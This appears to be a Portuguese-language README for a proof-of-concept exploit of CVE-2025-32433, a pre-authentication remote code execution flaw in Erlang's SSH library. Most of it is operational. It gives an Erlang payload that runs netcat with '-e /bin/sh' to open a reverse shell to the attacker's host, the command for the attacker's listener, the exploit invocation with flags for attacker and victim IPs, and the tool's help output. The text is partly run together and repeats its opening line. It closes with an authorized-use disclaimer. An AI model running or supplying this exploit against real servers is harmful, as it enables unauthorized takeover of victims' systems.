
Um exploit de prova de conceito para CVE-2025-32433, uma vulnerabilidade crítica na biblioteca SSH do Erlang que permite execução de código pré-autenticada por meio de pacotes SSH_MSG_CHANNEL_REQUEST malformados.
Um exploit de prova de conceito para CVE-2025-32433, uma vulnerabilidade crítica na biblioteca SSH do Erlang que permite execução de código pré-autenticado através de pacotes SSH_MSG_CHANNEL_REQUEST malformados.
argparseos:cmd("nc LHOST LPORT -e /bin/sh").nc (Netcat) funcional na sua máquina atacante22)Inicie seu listener na máquina atacante:
nc -lvnp 4444
Execute o exploit:
python3 CVE-2025-32433.py -lh [Attacker-IP] -lp [Attacker-Port] -rh [Victim-IP] -rp [Victim-Port]
Aguarde o shell conectar de volta ao seu listener.
$ python3 CVE-2025-32433.py -h
usage: CVE-2025-32433.py [-h] -lh LHOST -lp LPORT [-rh RHOST] [-rp RPORT]
Send a pre-auth SSH channel request with an Erlang RCE payload
to get a reverse shell
optional arguments:
-h, --help show this help message and exit
-lh LHOST, --lhost LHOST
Local host/IP to receive the reverse shell
-lp LPORT, --lport LPORT
Local port to receive the reverse shell
-rh RHOST, --rhost RHOST
Target SSH server IP (default: 10.10.248.101)
-rp RPORT, --rport RPORT
Target SSH server port (default: 22)
Use este código apenas em sistemas que você possui ou tem permissão explícita para testar. A exploração não autorizada de vulnerabilidades é ilegal e antiética.